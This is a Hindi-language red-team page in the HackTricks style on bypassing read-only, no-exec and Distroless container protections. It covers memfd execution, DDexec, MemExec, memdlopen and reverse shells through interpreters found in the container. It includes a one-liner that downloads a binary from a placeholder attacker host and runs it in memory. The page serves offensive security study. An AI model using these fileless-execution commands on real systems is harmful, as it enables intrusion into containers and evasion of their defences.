Bypass FS protections: read-only / no-exec / Distroless

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (चुस्त पोलिश लिखने और बोलने की आवश्यकता है).

वीडियो

निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लिखित तकनीकों को अधिक गहराई से समझ सकते हैं:

केवल पढ़ने योग्य / कोई-कार्यात्मक स्थिति

लिनक्स मशीनों को केवल पढ़ने योग्य (ro) फ़ाइल सिस्टम सुरक्षा के साथ माउंट करना अधिक सामान्य हो रहा है, विशेष रूप से कंटेनर में। इसलिए किसी कंटेनर को ro फ़ाइल सिस्टम के साथ चलाना इतना आसान है जितना कि securitycontext में readOnlyRootFilesystem: true सेट करना है:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

हालांकि, यदि फ़ाइल सिस्टम को ro के रूप में माउंट किया गया है, तो /dev/shm अभी भी लिखने योग्य होगा, इसलिए यह झूठ है कि हम डिस्क में कुछ भी लिख नहीं सकते। हालांकि, इस फ़ोल्डर को कोई-कार्यात्मक सुरक्षा के साथ माउंट किया जाएगा, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं तो आप उसे क्रियान्वित नहीं कर सकेंगे

लाल टीम के दृष्टिकोण से, यह जटिल बना देता है कि डाउनलोड और क्रियान्वित करें बाइनरी जो पहले से सिस्टम में नहीं हैं (जैसे बैकडोर या kubectl जैसे गणनक).

सबसे आसान उमार: स्क्रिप्ट

ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप किसी भी स्क्रिप्ट को क्रियान्वित कर सकते हैं जब तक अंतर्वादक मशीन में हो, जैसे एक शैल स्क्रिप्ट यदि sh मौजूद है या एक पायथन स्क्रिप्ट यदि पायथन स्थापित है।

हालांकि, यह आपके बाइनरी बैकडोर या अन्य बाइनरी उपकरणों को चलाने के लिए जो आपको चलाने की आवश्यकता हो सकती है, इसके लिए केवल इतना ही काफी नहीं है।

मेमोरी उमार

यदि आप एक बाइनरी को क्रियान्वित करना चाहते हैं लेकिन फ़ाइल सिस्टम उसे अनुमति नहीं दे रहा है, तो उसे मेमोरी से क्रियान्वित करना सबसे अच्छा तरीका है, क्योंकि सुरक्षा उसमें लागू नहीं होती

FD + exec सिसकल उमार

यदि आपके पास मशीन में कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे पायथन, पर्ल, या रूबी तो आप मेमोरी से क्रियान्वित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर में स्टोर कर सकते हैं (create_memfd सिसकल), जिसे उन सुरक्षा उपायों द्वारा सुरक्षित नहीं किया जाएगा और फिर एक exec सिसकल को कॉल करके fd को फ़ाइल के रूप में क्रियान्वित करने के लिए।

इसके लिए आप आसानी से परियोजना fileless-elf-exec का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह उसे निर्दिष्ट भाषा में स्क्रिप्ट उत्पन्न करेगा जिसमें बाइनरी को डिकोड और डीकंप्रेस करने के निर्देश शामिल होंगे और एक create_memfd सिसकल को कॉल करके एक fd बनाने के लिए बनाए गए एक बाइनरी संपीड़ित और b64 एन्कोड के साथ।

यह अन्य स्क्रिप्टिंग भाषाओं में काम नहीं करता है जैसे PHP या नोड क्योंकि उनके पास किसी भी स्क्रिप्ट से रॉ सिसकल को कॉल करने का डिफ़ॉल्ट तरीका नहीं है, इसलिए create_memfd को कॉल करने के लिए मेमोरी fd बनाना संभावित नहीं है।

इसके अतिरिक्त, /dev/shm में एक फ़ाइल के साथ एक नियमित fd बनाना काम नहीं करेगा, क्योंकि आप इसे चलाने की अनुमति नहीं मिलेगी क्योंकि कोई-कार्यात्मक सुरक्षा लागू होगी।

DDexec / EverythingExec

DDexec / EverythingExec एक तकनीक है जो आपको अपने खुद के प्रक्रिया की मेमोरी को संशोधित करके अनुमति देता है।

इसलिए, प्रक्रिया द्वारा क्रियान्वित किए जा रहे एसेम्बली को नियंत्रित करके, आप एक शैलकोड लिख सकते हैं और प्रक्रिया को किसी भी विचित्र कोड को क्रियान्वित करने के लिए "म्यूटेट" कर सकते हैं।

DDexec / EverythingExec आपको अपने खुद के शैलकोड या किसी भी बाइनरी को मेमोरी से लोड और क्रियान्वित करने की अनुमति देगा।

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec DDexec का प्राकृतिक अगला कदम है। यह एक DDexec शैलकोड डेमनाइज्ड है, इसलिए हर बार जब आप एक विभिन्न बाइनरी चलाना चाहते हैं तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप सिर्फ मेमेक्सेक शैलकोड को DDexec तकनीक के माध्यम से चला सकते हैं और फिर इस डेमन के साथ संवाद करके नए बाइनरी लोड और चलाने के लिए

आप https://github.com/arget13/memexec/blob/main/a.php में मेमेक्सेक का उपयोग कैसे करें के एक उदाहरण पा सकते हैं।

Memdlopen

DDexec के एक समान उद्देश्य के साथ, memdlopen तकनीक एक सरल तरीके से बाइनरी लोड करने की अनुमति देती है ताकि आप उन्हें बाद में चला सकें। यह यहाँ तक कि विभिन्न आवश्यकताओं वाले बाइनरी भी लोड करने की अनुमति दे सकती है।

Distroless Bypass

Distroless क्या है

Distroless containers में केवल विशिष्ट एप्लिकेशन या सेवा को चलाने के लिए आवश्यकता होने वाले न्यूनतम घटक होते हैं, जैसे पुस्तकालय और रनटाइम निर्भरताएँ, लेकिन एक पैकेज प्रबंधक, शैल या सिस्टम उपयोगिताएं जैसे बड़े घटकों को छोड़ देते हैं।

Distroless containers का लक्ष्य है कि वे अनावश्यक घटकों को हटाकर कंटेनर की हमले की सतह को कम करें और उन विकल्पों की संख्या को कम करें जो शोषित किया जा सकता है।

रिवर्स शैल

एक डिस्ट्रोलेस कंटेनर में आपको शायद ही sh या bash मिलेगा जिससे आप एक साधारण शैल प्राप्त कर सकें। आप ls, whoami, id जैसी बाइनरी भी नहीं पाएंगे... जो आप सामान्यत: एक सिस्टम में चलाते हैं।

इसलिए, आप रिवर्स शैल या जांच जैसा कुछ भी करने में सक्षम नहीं होंगे।

हालांकि, यदि संक्रमित कंटेनर में उदाहरण के लिए एक फ्लास्क वेब चल रहा है, तो पायथन स्थापित है, और इसलिए आप एक पायथन रिवर्स शैल प्राप्त कर सकते हैं। यदि यह नोड चल रहा है, तो आप एक नोड रिवर्स शैल प्राप्त कर सकते हैं, और ज्यादातर स्क्रिप्टिंग भाषाओं के साथ भी ऐसा ही होगा।

स्क्रिप्टिंग भाषा का उपयोग करके आप भाषा क्षमताओं का उपयोग करके सिस्टम का जांच कर सकते हैं।

यदि कोई read-only/no-exec सुरक्षा उपाय नहीं है तो आप अपने रिवर्स शैल का दुरुपयोग करके फाइल सिस्टम में अपने बाइनरी लिख सकते हैं और उन्हें चला सकते हैं।

हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा उपाय आम तौर पर मौजूद होंगे, लेकिन आप पिछले मेमोरी निष्पादन तकनीकों का उपयोग करके उन्हें अनदेखा कर सकते हैं

आप कुछ RCE वंलरेबिलिटी का शोधन करने और https://github.com/carlospolop/DistrolessRCE में मेमोरी से बाइनरी चलाने के उदाहरण पा सकते हैं।

Last updated